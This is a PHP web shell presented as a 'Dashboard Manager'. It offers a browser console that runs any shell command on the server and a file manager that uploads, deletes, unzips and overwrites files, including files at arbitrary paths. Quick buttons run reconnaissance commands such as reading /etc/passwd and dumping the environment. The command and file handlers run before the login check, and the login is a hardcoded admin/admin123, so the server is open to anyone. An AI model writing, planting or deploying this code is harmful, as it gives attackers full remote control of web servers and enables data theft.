<?php
ob_start();
session_start();

// ==================== Configuration ====================
define('CMD_HISTORY_LIMIT', 50);

// ==================== Helper Functions ====================
function h($s): string {
    return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8');
}

function fsize(int $bytes): string {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $unitIndex = 0;
    while ($bytes >= 1024 && $unitIndex < count($units) - 1) {
        $bytes /= 1024;
        $unitIndex++;
    }
    return round($bytes, 2) . ' ' . $units[$unitIndex];
}

function isPathWithinBase(string $path, string $base): bool {
    $realPath = realpath($path);
    $realBase = realpath($base);
    return $realPath !== false && $realBase !== false && str_starts_with($realPath, $realBase);
}

// ==================== Initialize State ====================
$currentPath = getcwd();

if (isset($_GET['p']) && is_dir($_GET['p'])) {
    $resolved = realpath($_GET['p']);
    if ($resolved) {
        $currentPath = $resolved;
    }
}

$currentTab = in_array($_GET['tab'] ?? '', ['files', 'console'], true) ? $_GET['tab'] : 'files';
$notifications = [];

if (!isset($_SESSION['cmd_history'])) {
    $_SESSION['cmd_history'] = [];
}

// ==================== AJAX Console Handler ====================
if (isset($_POST['console_cmd'])) {
    $command = trim($_POST['console_cmd']);
    $workingDir = isset($_POST['console_cwd']) && is_dir($_POST['console_cwd'])
        ? realpath($_POST['console_cwd'])
        : $currentPath;

    $response = ['output' => '', 'cwd' => $workingDir, 'error' => false];

    if ($command !== '') {
        // Track command history
        if ($command !== ($_SESSION['cmd_history'][0] ?? '')) {
            array_unshift($_SESSION['cmd_history'], $command);
            $_SESSION['cmd_history'] = array_slice($_SESSION['cmd_history'], 0, CMD_HISTORY_LIMIT);
        }

        // Handle cd command
        if (preg_match('/^cd(?:\s+(.+))?$/', $command, $matches)) {
            $target = trim($matches[1] ?? '');
            
            if ($target === '' || $target === '~') {
                $target = getenv('HOME') ?: '/';
            }
            
            if ($target[0] !== '/') {
                $target = $workingDir . DIRECTORY_SEPARATOR . $target;
            }
            
            $realTarget = realpath($target);
            if ($realTarget && is_dir($realTarget)) {
                $response['cwd'] = $realTarget;
            } else {
                $response['output'] = "bash: cd: $target: No such file or directory";
                $response['error'] = true;
            }
        } else {
            // Execute other commands
            $fullCommand = 'cd ' . escapeshellarg($workingDir) . ' 2>/dev/null; ' . $command . ' 2>&1';
            $output = @shell_exec($fullCommand);

            if ($output === null) {
                $process = @proc_open(
                    '/bin/sh -c ' . escapeshellarg($fullCommand),
                    [1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
                    $pipes
                );
                
                if (is_resource($process)) {
                    $output = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
                    fclose($pipes[1]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = '(shell disabled on this server)';
                    $response['error'] = true;
                }
            }

            // Sanitize output
            $output = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', (string)$output);
            $output = preg_replace('/\x1B\[[0-9;]*[A-Za-z]/', '', $output);
            $output = @iconv('UTF-8', 'UTF-8//IGNORE', $output) 
                    ?: preg_replace('/[\x80-\xFF]/', '?', $output);
            
            $response['output'] = $output !== '' ? $output : '(no output)';
        }
    }

    // Return JSON response
    while (ob_get_level() > 0) ob_end_clean();
    header('Content-Type: application/json; charset=utf-8');
    
    $json = json_encode($response, JSON_UNESCAPED_UNICODE);
    if ($json === false) {
        $json = json_encode([
            'output' => base64_encode((string)$response['output']),
            'b64' => true,
            'cwd' => (string)$response['cwd'],
            'error' => true,
            'enc_err' => json_last_error_msg(),
        ]);
    }
    
    echo $json ?: '{"output":"(fatal json error)","cwd":"","error":true}';
    exit;
}

// ==================== File Operations ====================

// Delete file/folder
if (!empty($_GET['del'])) {
    $target = realpath($currentPath . DIRECTORY_SEPARATOR . basename($_GET['del']));
    if ($target && isPathWithinBase($target, $currentPath)) {
        if (is_file($target)) {
            @unlink($target);
            $notifications[] = 'File deleted.';
        } elseif (is_dir($target)) {
            @rmdir($target);
            $notifications[] = 'Folder deleted.';
        }
    }
}

// Upload file
if (!empty($_FILES['fup']['tmp_name'])) {
    $destination = $currentPath . DIRECTORY_SEPARATOR . basename($_FILES['fup']['name']);
    if (move_uploaded_file($_FILES['fup']['tmp_name'], $destination)) {
        $notifications[] = 'File uploaded: ' . basename($destination);
    }
}

// Create directory
if (!empty($_POST['mkdir'])) {
    $dir = $currentPath . DIRECTORY_SEPARATOR . basename($_POST['mkdir']);
    if (!is_dir($dir) && @mkdir($dir)) {
        $notifications[] = 'Folder created.';
    }
}

// Edit file
if (!empty($_POST['fc']) && !empty($_POST['fn'])) {
    @file_put_contents($_POST['fn'], $_POST['fc']);
    $notifications[] = 'Changes saved.';
}

// Unzip file
if (!empty($_POST['uz'])) {
    $zipPath = realpath($currentPath . DIRECTORY_SEPARATOR . basename($_POST['uz']));
    if ($zipPath && strtolower(pathinfo($zipPath, PATHINFO_EXTENSION)) === 'zip') {
        $zip = new ZipArchive();
        if ($zip->open($zipPath) === true) {
            $zip->extractTo($currentPath);
            $zip->close();
            $notifications[] = 'File extracted.';
        } else {
            $notifications[] = 'Failed to open zip file.';
        }
    }
}

// Rename file/folder
if (!empty($_POST['r_old']) && !empty($_POST['r_new'])) {
    $oldPath = realpath($currentPath . DIRECTORY_SEPARATOR . basename($_POST['r_old']));
    $newPath = $currentPath . DIRECTORY_SEPARATOR . basename($_POST['r_new']);
    
    if ($oldPath && file_exists($oldPath) && !file_exists($newPath)) {
        if (@rename($oldPath, $newPath)) {
            $notifications[] = 'Rename successful.';
        }
    }
}

// ==================== Render Functions ====================

function renderLogin(?string $error): void {
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login - Dashboard Manager</title>
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body {
            font-family: monospace;
            background: #0f0f0f;
            color: #ddd;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .login-box {
            background: #1a1a1a;
            border: 1px solid #333;
            border-radius: 10px;
            padding: 40px;
            width: 360px;
            box-shadow: 0 0 40px rgba(0, 200, 255, 0.08);
        }
        .login-title {
            text-align: center;
            margin-bottom: 28px;
            color: #6cf;
            font-size: 1.3rem;
            letter-spacing: 1px;
        }
        .form-label {
            display: block;
            margin-bottom: 5px;
            color: #888;
            font-size: 0.8rem;
            text-transform: uppercase;
            letter-spacing: 1px;
        }
        .form-input {
            width: 100%;
            background: #111;
            color: #fff;
            border: 1px solid #444;
            border-radius: 5px;
            padding: 10px 12px;
            font-family: monospace;
            font-size: 1rem;
            outline: none;
            margin-bottom: 14px;
            transition: border-color 0.2s;
        }
        .form-input:focus { border-color: #6cf; }
        .form-btn {
            width: 100%;
            padding: 11px;
            background: linear-gradient(90deg, #6cf, #4af);
            color: #000;
            border: none;
            border-radius: 5px;
            font-family: monospace;
            font-size: 1rem;
            font-weight: bold;
            cursor: pointer;
            transition: opacity 0.2s;
        }
        .form-btn:hover { opacity: 0.85; }
        .error-msg {
            background: rgba(180, 0, 0, 0.2);
            color: #f88;
            border: 1px solid #800;
            padding: 9px;
            border-radius: 5px;
            margin-bottom: 14px;
            text-align: center;
            font-size: 0.9rem;
        }
    </style>
</head>
<body>
    <div class="login-box">
        <h1 class="login-title">Dashboard Manager</h1>
        <?php if ($error) echo '<div class="error-msg">' . h($error) . '</div>'; ?>
        <form method="post">
            <label class="form-label">Username</label>
            <input type="text" name="login_user" class="form-input" placeholder="admin" autocomplete="username" required>
            <label class="form-label">Password</label>
            <input type="password" name="login_pass" class="form-input" placeholder="••••••••" autocomplete="current-password" required>
            <button type="submit" class="form-btn">Login</button>
        </form>
    </div>
</body>
</html>
    <?php
}

function renderMain(string $path, string $tab, array $notifications, array $cmdHistory): void {
    $quickCommands = [
        'ls -la', 'pwd', 'whoami', 'id', 'uname -a', 'ps aux',
        'df -h', 'free -h', 'env', 'netstat -tlnp',
        'cat /etc/passwd', 'cat /etc/os-release',
        'ifconfig', 'ip a', 'curl ifconfig.me',
        'php -v', 'python3 --version', 'wget --version',
    ];
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dashboard Manager</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        
        :root {
            --bg: #0f0f0f;
            --bg2: #161616;
            --bg3: #1e1e1e;
            --border: #2a2a2a;
            --accent: #6cf;
            --accent2: #4af;
            --green: #4ec94e;
            --red: #f55;
            --yellow: #fd9;
            --text: #d4d4d4;
            --muted: #666;
        }
        
        body {
            font-family: 'Consolas', 'Courier New', monospace;
            background: var(--bg);
            color: var(--text);
            min-height: 100vh;
        }
        
        /* Header */
        .header {
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding: 12px 20px;
            background: var(--bg2);
            border-bottom: 1px solid var(--border);
            position: sticky;
            top: 0;
            z-index: 100;
        }
        .header-title {
            color: var(--accent);
            font-size: 1rem;
            font-weight: bold;
            letter-spacing: 1px;
        }
        .header-path {
            color: var(--muted);
            font-size: 0.78rem;
            margin-top: 2px;
        }
        .btn-logout {
            background: rgba(255, 80, 80, 0.12);
            color: var(--red);
            border: 1px solid rgba(255, 80, 80, 0.3);
            padding: 5px 12px;
            border-radius: 5px;
            cursor: pointer;
            font-family: inherit;
            font-size: 0.8rem;
            text-decoration: none;
            transition: background 0.2s;
        }
        .btn-logout:hover { background: rgba(255, 80, 80, 0.25); }
        
        /* Tabs */
        .nav-tabs {
            display: flex;
            gap: 4px;
            padding: 12px 20px 0;
            background: var(--bg2);
            border-bottom: 1px solid var(--border);
        }
        .nav-tab {
            padding: 8px 18px;
            border-radius: 6px 6px 0 0;
            cursor: pointer;
            font-family: inherit;
            font-size: 0.9rem;
            border: 1px solid transparent;
            border-bottom: none;
            color: var(--muted);
            background: transparent;
            text-decoration: none;
            transition: color 0.2s;
        }
        .nav-tab:hover { color: var(--accent); }
        .nav-tab.active {
            background: var(--bg);
            color: var(--accent);
            border-color: var(--border);
            position: relative;
            bottom: -1px;
        }
        
        /* Content */
        .content { padding: 20px; }
        .tab-panel { display: none; }
        .tab-panel.active { display: block; }
        .notification {
            padding: 8px 12px;
            border-radius: 5px;
            margin-bottom: 8px;
            background: rgba(0, 180, 0, 0.12);
            color: var(--green);
            border: 1px solid rgba(0, 180, 0, 0.25);
            font-size: 0.88rem;
        }
        
        /* File Table */
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 8px;
        }
        .file-table th {
            text-align: left;
            padding: 8px 10px;
            border-bottom: 1px solid var(--border);
            color: var(--muted);
            font-size: 0.78rem;
            text-transform: uppercase;
            letter-spacing: 1px;
        }
        .file-table td {
            padding: 7px 10px;
            border-bottom: 1px solid var(--border);
            font-size: 0.88rem;
        }
        .file-table tr:hover td { background: var(--bg3); }
        .file-table a { color: var(--accent); text-decoration: none; }
        .file-table a:hover { color: var(--accent2); }
        .badge {
            font-size: 0.72rem;
            padding: 2px 6px;
            border-radius: 3px;
        }
        .badge-yes { background: rgba(78, 201, 78, 0.15); color: var(--green); }
        .badge-no { background: rgba(255, 85, 85, 0.12); color: var(--red); }
        .action-link {
            color: var(--muted);
            font-size: 1rem;
            margin-right: 4px;
            text-decoration: none;
        }
        .action-link:hover { color: var(--red); }
        .action-link.edit:hover { color: var(--yellow); }
        
        /* Forms */
        .form-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(260px, 1fr));
            gap: 16px;
            margin-top: 20px;
        }
        .card {
            background: var(--bg2);
            border: 1px solid var(--border);
            border-radius: 8px;
            padding: 16px;
        }
        .card h4 {
            color: var(--accent);
            margin-bottom: 12px;
            font-size: 0.88rem;
        }
        .form-control {
            width: 100%;
            background: var(--bg);
            color: var(--text);
            border: 1px solid var(--border);
            border-radius: 5px;
            padding: 8px 10px;
            font-family: inherit;
            font-size: 0.88rem;
            outline: none;
            transition: border-color 0.2s;
        }
        .form-control:focus { border-color: var(--accent); }
        .form-control + .form-control { margin-top: 6px; }
        textarea.form-control { resize: vertical; min-height: 180px; }
        .btn {
            margin-top: 8px;
            padding: 7px 16px;
            background: linear-gradient(90deg, #6cf, #4af);
            color: #000;
            border: none;
            border-radius: 5px;
            font-family: inherit;
            font-size: 0.84rem;
            font-weight: bold;
            cursor: pointer;
            transition: opacity 0.2s;
        }
        .btn:hover { opacity: 0.8; }
        
        /* Console */
        .console-wrapper {
            display: flex;
            flex-direction: column;
            height: calc(100vh - 160px);
            min-height: 500px;
        }
        .toolbar {
            display: flex;
            flex-wrap: wrap;
            gap: 6px;
            padding: 10px 0;
            border-bottom: 1px solid var(--border);
            margin-bottom: 10px;
        }
        .toolbar-label {
            font-size: 0.75rem;
            color: var(--muted);
            align-self: center;
        }
        .quick-btn {
            padding: 4px 10px;
            background: var(--bg3);
            color: var(--accent);
            border: 1px solid var(--border);
            border-radius: 4px;
            font-family: inherit;
            font-size: 0.76rem;
            cursor: pointer;
            transition: background 0.15s, color 0.15s;
        }
        .quick-btn:hover { background: var(--accent); color: #000; }
        .cwd-bar {
            font-size: 0.78rem;
            color: var(--muted);
            padding: 4px 0 8px;
        }
        .cwd-bar span { color: var(--green); }
        .console-output {
            flex: 1;
            overflow-y: auto;
            background: #0a0a0a;
            border: 1px solid var(--border);
            border-radius: 8px 8px 0 0;
            padding: 14px 16px;
            font-size: 0.84rem;
            line-height: 1.65;
            color: #c8c8c8;
            white-space: pre-wrap;
            word-break: break-word;
        }
        .console-output::-webkit-scrollbar { width: 5px; }
        .console-output::-webkit-scrollbar-thumb {
            background: var(--border);
            border-radius: 3px;
        }
        .out-cmd { color: var(--green); font-weight: bold; }
        .out-err { color: var(--red); }
        .out-info { color: var(--muted); font-style: italic; }
        .input-row {
            display: flex;
            align-items: center;
            background: #0a0a0a;
            border: 1px solid var(--border);
            border-top: none;
            border-radius: 0 0 8px 8px;
            padding: 8px 12px;
            gap: 8px;
        }
        .prompt {
            color: var(--green);
            white-space: nowrap;
            font-size: 0.88rem;
            flex-shrink: 0;
            user-select: none;
        }
        .cmd-input {
            flex: 1;
            background: transparent;
            border: none;
            outline: none;
            color: #eee;
            font-family: inherit;
            font-size: 0.88rem;
            caret-color: var(--accent);
        }
        .run-btn {
            padding: 4px 14px;
            background: var(--accent);
            color: #000;
            border: none;
            border-radius: 4px;
            font-family: inherit;
            font-size: 0.82rem;
            font-weight: bold;
            cursor: pointer;
            flex-shrink: 0;
            transition: opacity 0.2s;
        }
        .run-btn:hover { opacity: 0.75; }
        .clear-btn {
            padding: 4px 10px;
            background: var(--bg3);
            color: var(--muted);
            border: 1px solid var(--border);
            border-radius: 4px;
            font-family: inherit;
            font-size: 0.78rem;
            cursor: pointer;
            flex-shrink: 0;
        }
        .clear-btn:hover { color: var(--red); border-color: var(--red); }
    </style>
</head>
<body>

<!-- Header -->
<div class="header">
    <div>
        <div class="header-title">Dashboard Manager</div>
        <div class="header-path"><?php echo h($path); ?></div>
    </div>
    <a class="btn-logout" href="?logout=1">Logout</a>
</div>

<!-- Navigation Tabs -->
<div class="nav-tabs">
    <a class="nav-tab <?php echo $tab === 'files' ? 'active' : ''; ?>"
       href="?p=<?php echo urlencode($path); ?>&tab=files">File Manager</a>
    <a class="nav-tab <?php echo $tab === 'console' ? 'active' : ''; ?>"
       href="?p=<?php echo urlencode($path); ?>&tab=console">Console</a>
</div>

<!-- Main Content -->
<div class="content">

<!-- ========== FILE MANAGER TAB ========== -->
<div class="tab-panel <?php echo $tab === 'files' ? 'active' : ''; ?>">
    <?php foreach ($notifications as $notif) echo '<div class="notification">' . h($notif) . '</div>'; ?>

    <table class="file-table">
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Modified</th>
                <th>Writable</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php
        // Parent directory link
        $parentDir = dirname($path);
        if ($parentDir !== $path) {
            printf(
                '<tr><td><a href="?p=%s&tab=files">&larr; ..</a></td><td>-</td><td>-</td><td>-</td><td></td></tr>',
                urlencode($parentDir)
            );
        }

        // List directory contents
        foreach (scandir($path) as $entry) {
            if ($entry === '.' || $entry === '..') continue;
            
            $filePath = $path . DIRECTORY_SEPARATOR . $entry;
            $modified = date('Y-m-d H:i', (int)@filemtime($filePath));
            $isWritable = is_writable($filePath)
                ? '<span class="badge badge-yes">yes</span>'
                : '<span class="badge badge-no">no</span>';
            $size = is_file($filePath) ? fsize((int)filesize($filePath)) : '-';
            $typeIcon = is_dir($filePath) ? 'D' : 'F';

            echo '<tr><td>';
            if (is_dir($filePath)) {
                printf(
                    '<a href="?p=%s&tab=files">[%s] %s</a>',
                    urlencode($filePath),
                    $typeIcon,
                    h($entry)
                );
            } else {
                printf('[%s] %s', $typeIcon, h($entry));
            }
            echo "</td><td>$size</td><td>$modified</td><td>$isWritable</td><td>";
            
            // Delete action
            printf(
                '<a class="action-link" href="?p=%s&del=%s&tab=files" onclick="return confirm(\'Delete %s?\')" title="Delete">[del]</a>',
                urlencode($path),
                urlencode($entry),
                h($entry)
            );
            
            // Edit action (files only)
            if (is_file($filePath)) {
                printf(
                    '<a class="action-link edit" href="?p=%s&edit=%s&tab=files" title="Edit">[edit]</a>',
                    urlencode($path),
                    urlencode($entry)
                );
            }
            echo '</td></tr>';
        }
        ?>
        </tbody>
    </table>

    <!-- File Operations Grid -->
    <div class="form-grid">
        <div class="card">
            <h4>Upload File</h4>
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="fup" class="form-control" style="padding:5px">
                <button type="submit" class="btn">Upload</button>
            </form>
        </div>

        <div class="card">
            <h4>Create Folder</h4>
            <form method="post">
                <input type="text" name="mkdir" class="form-control" placeholder="folder-name">
                <button type="submit" class="btn">Create</button>
            </form>
        </div>

        <div class="card">
            <h4>Unzip Archive</h4>
            <form method="post">
                <input type="text" name="uz" class="form-control" placeholder="archive.zip">
                <button type="submit" class="btn">Extract</button>
            </form>
        </div>

        <div class="card">
            <h4>Rename</h4>
            <form method="post">
                <input type="text" name="r_old" class="form-control" placeholder="old-name">
                <input type="text" name="r_new" class="form-control" placeholder="new-name">
                <button type="submit" class="btn">Rename</button>
            </form>
        </div>
    </div>

    <!-- File Editor -->
    <?php
    if (!empty($_GET['edit'])) {
        $editFile = $path . DIRECTORY_SEPARATOR . basename($_GET['edit']);
        if (is_file($editFile)):
            $fileContent = h(file_get_contents($editFile));
    ?>
    <div class="card" style="margin-top:16px">
        <h4>Edit: <?php echo h(basename($editFile)); ?></h4>
        <form method="post">
            <input type="hidden" name="fn" value="<?php echo h($editFile); ?>">
            <textarea name="fc" class="form-control" rows="20"><?php echo $fileContent; ?></textarea>
            <button type="submit" class="btn">Save</button>
        </form>
    </div>
    <?php
        endif;
    }
    ?>
</div><!-- /files -->

<!-- ========== CONSOLE TAB ========== -->
<div class="tab-panel <?php echo $tab === 'console' ? 'active' : ''; ?>">
    <div class="console-wrapper">
        <div class="toolbar">
            <span class="toolbar-label">Quick:</span>
            <?php foreach ($quickCommands as $qcCmd): ?>
                <button class="quick-btn" onclick="insertCommand(<?php echo json_encode($qcCmd); ?>)">
                    <?php echo h($qcCmd); ?>
                </button>
            <?php endforeach; ?>
        </div>
        <div class="cwd-bar">Current Directory: <span id="cwd-display"><?php echo h($path); ?></span></div>
        <div class="console-output" id="console-output">
            <span class="out-info">Console ready. Press Enter to execute commands.</span>
        </div>
        <div class="input-row">
            <span class="prompt" id="prompt">$</span>
            <input type="text" id="cmd-input" class="cmd-input" placeholder="command..." 
                   autocomplete="off" spellcheck="false">
            <button class="run-btn" onclick="executeCommand()">Run</button>
            <button class="clear-btn" onclick="clearConsole()">Clear</button>
        </div>
    </div>
</div><!-- /console -->

</div><!-- /content -->

<script>
// Console state
const consoleState = {
    cwd: <?php echo json_encode($path); ?>,
    history: <?php echo json_encode($cmdHistory); ?>,
    historyIndex: -1,
    historyDraft: ''
};

const elements = {
    output: document.getElementById('console-output'),
    input: document.getElementById('cmd-input'),
    cwdDisplay: document.getElementById('cwd-display'),
    prompt: document.getElementById('prompt')
};

// Escape HTML
function escapeHtml(text) {
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

// Update prompt display
function updatePrompt() {
    const shortPath = consoleState.cwd.length > 42 
        ? '…' + consoleState.cwd.slice(-40) 
        : consoleState.cwd;
    elements.prompt.textContent = shortPath + ' $';
    elements.cwdDisplay.textContent = consoleState.cwd;
}

// Append output to console
function appendOutput(html, preserveScroll = true) {
    elements.output.innerHTML += html;
    if (preserveScroll) {
        elements.output.scrollTop = elements.output.scrollHeight;
    }
}

// Execute command via AJAX
function executeCommand() {
    const command = elements.input.value.trim();
    if (!command) return;

    elements.input.value = '';
    consoleState.historyIndex = -1;
    consoleState.historyDraft = '';

    // Add to history
    if (command !== consoleState.history[0]) {
        consoleState.history.unshift(command);
        if (consoleState.history.length > 50) {
            consoleState.history.pop();
        }
    }

    appendOutput('\n<span class="out-cmd">' + 
        escapeHtml(elements.prompt.textContent) + ' ' + 
        escapeHtml(command) + '</span>\n');

    // Send request
    const formData = new FormData();
    formData.append('console_cmd', command);
    formData.append('console_cwd', consoleState.cwd);

    fetch(window.location.href, { method: 'POST', body: formData })
        .then(response => response.text())
        .then(text => {
            let data;
            try {
                data = JSON.parse(text);
            } catch (e) {
                appendOutput('<span class="out-err">JSON error: ' + 
                    escapeHtml(String(e)) + '\n' + 
                    escapeHtml(text.slice(0, 120)) + '</span>\n');
                return;
            }

            if (data.cwd && data.cwd !== consoleState.cwd) {
                consoleState.cwd = data.cwd;
                updatePrompt();
            }

            if (data.output) {
                const output = data.b64 
                    ? atob(data.output).catch(() => data.output)
                    : data.output;
                const className = data.error ? 'out-err' : '';
                appendOutput('<span class="' + className + '">' + escapeHtml(output) + '</span>');
            }
        })
        .catch(error => {
            appendOutput('<span class="out-err">Network error: ' + 
                escapeHtml(String(error)) + '</span>\n');
        });
}

// Clear console
function clearConsole() {
    elements.output.innerHTML = '<span class="out-info">Console cleared.</span>';
}

// Insert command from quick buttons
function insertCommand(cmd) {
    elements.input.value = cmd;
    elements.input.focus();
}

// Keyboard navigation
elements.input.addEventListener('keydown', function(event) {
    if (event.key === 'Enter') {
        executeCommand();
        return;
    }

    if (event.key === 'ArrowUp') {
        event.preventDefault();
        if (consoleState.historyIndex === -1) {
            consoleState.historyDraft = elements.input.value;
        }
        if (consoleState.historyIndex < consoleState.history.length - 1) {
            elements.input.value = consoleState.history[++consoleState.historyIndex];
        }
    }

    if (event.key === 'ArrowDown') {
        event.preventDefault();
        if (consoleState.historyIndex > 0) {
            elements.input.value = consoleState.history[--consoleState.historyIndex];
        } else if (consoleState.historyIndex === 0) {
            consoleState.historyIndex = -1;
            elements.input.value = consoleState.historyDraft;
        }
    }
});

// Initialize
updatePrompt();
if (window.location.href.indexOf('tab=console') !== -1) {
    elements.input.focus();
}
</script>
</body>
</html>
    <?php
}

// ==================== Main Execution ====================

// Check logout
if (isset($_GET['logout'])) {
    session_destroy();
    exit;
}

// Simple login check (modify as needed)
if (!isset($_SESSION['logged_in'])) {
    if (isset($_POST['login_user']) && isset($_POST['login_pass'])) {
        // TODO: Add proper authentication
        $user = $_POST['login_user'];
        $pass = $_POST['login_pass'];
        
        // Placeholder: modify these credentials
        if ($user === 'admin' && $pass === 'admin123') {
            $_SESSION['logged_in'] = true;
        } else {
            renderLogin('Invalid username or password.');
            exit;
        }
    } else {
        renderLogin(null);
        exit;
    }
}

// Render main dashboard
renderMain($currentPath, $currentTab, $notifications, $_SESSION['cmd_history']);

